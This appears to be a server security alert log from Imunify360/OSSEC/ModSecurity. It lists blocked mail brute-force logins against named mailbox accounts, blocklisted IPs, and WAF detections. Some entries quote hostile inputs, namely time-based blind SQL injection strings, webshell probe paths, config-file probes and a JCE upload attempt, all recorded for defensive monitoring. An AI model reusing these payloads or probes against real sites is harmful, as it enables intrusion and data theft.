abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-22 02:19:40 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([149.54.40.182]) [51.68.226.171]:51914: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.196.127.84
country_id: 6252001
description:
Jul 22 02:19:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.196.127.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.127.84
country_id: 6252001
description:
2026-07-22 02:19:30 dovecot_login authenticator failed for H=([131.189.214.140]) [74.196.127.84]:43584: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 02:23:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 217.160.68.147
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.32||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 02:27:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.206
country_id: 1835841
description:
Jul 22 02:30:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-22 02:30:03 dovecot_login authenticator failed for H=([183.171.154.64]) [218.156.93.206]:37841: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.154.80.51
country_id: 2245662
description:
Jul 22 02:29:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.154.80.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-22 02:29:47 dovecot_login authenticator failed for H=([223.207.98.116]) [213.154.80.51]:43799: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 02:30:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 02:31:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 51.195.39.149
country_id: 3017382
domain: elegantautomotives.com
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/posts/999999?author_exclude=0) OR SLEEP(0)-- -||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 02:35:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.152.150.151
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/ibmctradeflow/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.200.217.128
country_id: 1835841
description:
Jul 22 02:40:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.200.217.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.24.209.174
country_id: 102358
description:
Jul 22 02:40:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.24.209.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.72.198.61
country_id: 1835841
description:
Jul 22 02:40:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.72.198.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-22 02:40:48 dovecot_login authenticator failed for H=(activox.static.gvt.net.br) [144.24.209.174]:63266: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-22 02:41:04 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi (111-70-32-6.emome-ip.hinet.net) [80.223.198.246]:49960: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-22 02:40:25 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [220.72.198.61]:42407: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.152.150.151
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-includes/images/autoload_classmap.php||SC:/home/ibmctradeflow/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-22 02:40:37 dovecot_login authenticator failed for H=([119.203.4.207]) [175.200.217.128]:41360: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 45.77.44.27
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/categories?author_exclude=SELECT IF((1=0),SLEEP(2.0),0)||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 02:44:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 02:46:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.203.66.218
country_id: 2077456
description:
2026-07-22 02:47:37 dovecot_login authenticator failed for H=14-203-66-218.static.tpgi.com.au (31.145.158.146.dynamic.jazztel.es) [14.203.66.218]:41645: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.203.66.218
country_id: 2077456
description:
Jul 22 02:47:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.203.66.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 02:50:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 02:51:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 02:54:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 02:55:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-22 02:57:47 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([177.10.181.244]) [76.133.97.153]:41585: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-22 02:58:20 dovecot_login authenticator failed for H=([188.32.104.175]) [1.250.67.114]:36858: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.250.67.114
country_id: 1835841
description:
Jul 22 02:58:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.250.67.114 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacservice1.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 03:06:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 03:08:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.150.106
country_id: 1269750
description:
Jul 22 03:11:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.150.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-22 03:11:22 dovecot_login authenticator failed for H=(m121-202-206-119.smartone.com) [182.95.150.106]:38526: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.23.222
country_id: 1668284
description:
Jul 22 03:11:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.23.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.222
country_id: 1668284
description:
2026-07-22 03:11:53 dovecot_login authenticator failed for H=111-70-23-222.emome-ip.hinet.net ([205.206.92.54]) [111.70.23.222]:53690: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 03:12:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 03:13:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 03:15:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.30
country_id: 3077311
description:
Jul 22 03:16:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 03:17:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.161.126
country_id: 99237
description:
Jul 22 03:18:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.161.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-22 03:18:05 dovecot_login authenticator failed for H=([183.56.179.201]) [65.20.161.126]:32845: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-22 03:18:18 dovecot_login authenticator failed for H=([49.124.148.185]) [98.157.226.42]:44999: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-22 03:21:26 dovecot_login authenticator failed for H=([125.88.160.13]) [202.88.209.51]:37522: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-22 03:21:14 dovecot_login authenticator failed for H=([149.54.62.114]) [59.25.212.83]:59400: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.88.209.51
country_id: 1269750
description:
Jul 22 03:21:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.88.209.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked?lang=EN\">1v1.lol unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 140.213.184.106
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce93n1jgtd.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.130.102.172
country_id: 1835841
description:
Jul 22 03:27:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.130.102.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-22 03:27:20 dovecot_login authenticator failed for H=(77x106x78x215.dynamic.barnaul.ertelecom.ru) [125.130.102.172]:52054: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.57.39.170
country_id: 6252001
description:
Jul 22 03:27:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.57.39.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-22 03:27:32 dovecot_login authenticator failed for H=([58.222.72.182]) [184.57.39.170]:60538: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 03:28:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 03:30:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 03:30:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-22 03:33:51 dovecot_login authenticator failed for H=([95.165.25.233]) [49.124.205.169]:34658: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.39.33
country_id: 2635167
description:
Jul 22 03:34:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.39.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-22 03:34:21 dovecot_login authenticator failed for H=([189.20.109.209]) [188.122.39.33]:37852: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 03:34:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 03:35:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 03:40:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.130.18.141
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/some/config/file.ini||User:fefkadirectors||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 22 03:49:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 03:49:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.152.150.151
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/assets/images/about.php||SC:/home/ogocindia/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-22 03:53:57 dovecot_login authenticator failed for H=(static.ill.117.250.107.180.bsnl.co.in) [112.162.111.205]:41401: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.162.111.205
country_id: 1835841
description:
Jul 22 03:53:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.162.111.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 03:54:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 03:56:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 03:56:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 03:57:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.201.253.23
country_id: 99237
description:
Jul 22 04:01:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.201.253.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.253.23
country_id: 99237
description:
2026-07-22 04:01:16 dovecot_login authenticator failed for H=([49.124.151.32]) [62.201.253.23]:49646: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.254.22.207
country_id: 6252001
description:
Jul 22 04:01:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.254.22.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-22 04:01:45 dovecot_login authenticator failed for H=([49.124.153.42]) [207.254.22.207]:53831: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 04:03:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-22 04:03:38 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:50030: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.122.114.193
country_id: 798549
description:
Jul 22 04:03:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.122.114.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-22 04:05:38 dovecot_login authenticator failed for H=(161-38-154-134.fidnet.com) [59.11.205.214]:35744: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.68
country_id: 1269750
description:
2026-07-22 04:05:46 dovecot_login authenticator failed for H=([211.53.58.1]) [122.187.230.68]:56863: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.68
country_id: 1269750
description:
Jul 22 04:05:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.138.46
country_id: 99237
description:
Jul 22 04:05:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.138.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.46
country_id: 99237
description:
2026-07-22 04:05:18 dovecot_login authenticator failed for H=([180.94.76.126]) [65.20.138.46]:44592: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.11.205.214
country_id: 1835841
description:
Jul 22 04:05:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.11.205.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.248.188.237
country_id: 1210997
description:
Jul 22 04:07:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.248.188.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.248.188.237
country_id: 1210997
description:
2026-07-22 04:07:47 dovecot_login authenticator failed for H=mail.cartvelly.com ([222.111.148.83]) [161.248.188.237]:52084: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.48.176.134
country_id: 3686110
description:
Jul 22 04:08:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.48.176.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.48.176.134
country_id: 3686110
description:
2026-07-22 04:08:30 dovecot_login authenticator failed for H=([216.16.101.175]) [181.48.176.134]:34858: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 04:11:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 69.80.12.41
country_id: 3576468
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:44310.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f04e4b1ed5ac6abaab39f49e9c0c54539fc28f0e||Title:0xee4433c5||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-22 04:16:48 dovecot_login authenticator failed for H=([119.196.213.173]) [183.82.56.12]:63977: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.82.56.12
country_id: 1269750
description:
Jul 22 04:16:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.82.56.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 04:16:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.21.243.7
country_id: 1668284
description:
Jul 22 04:18:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.21.243.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-22 04:18:45 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net (distribution05-10gb.1560.la3.switches.zerolag.com) [211.21.243.7]:41140: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 04:19:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jul 22 04:19:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-22 04:19:12 dovecot_login authenticator failed for H=([169.211.232.182]) [203.252.10.3]:23636: 535 Incorrect authentication data (set_id=investmentmanager)


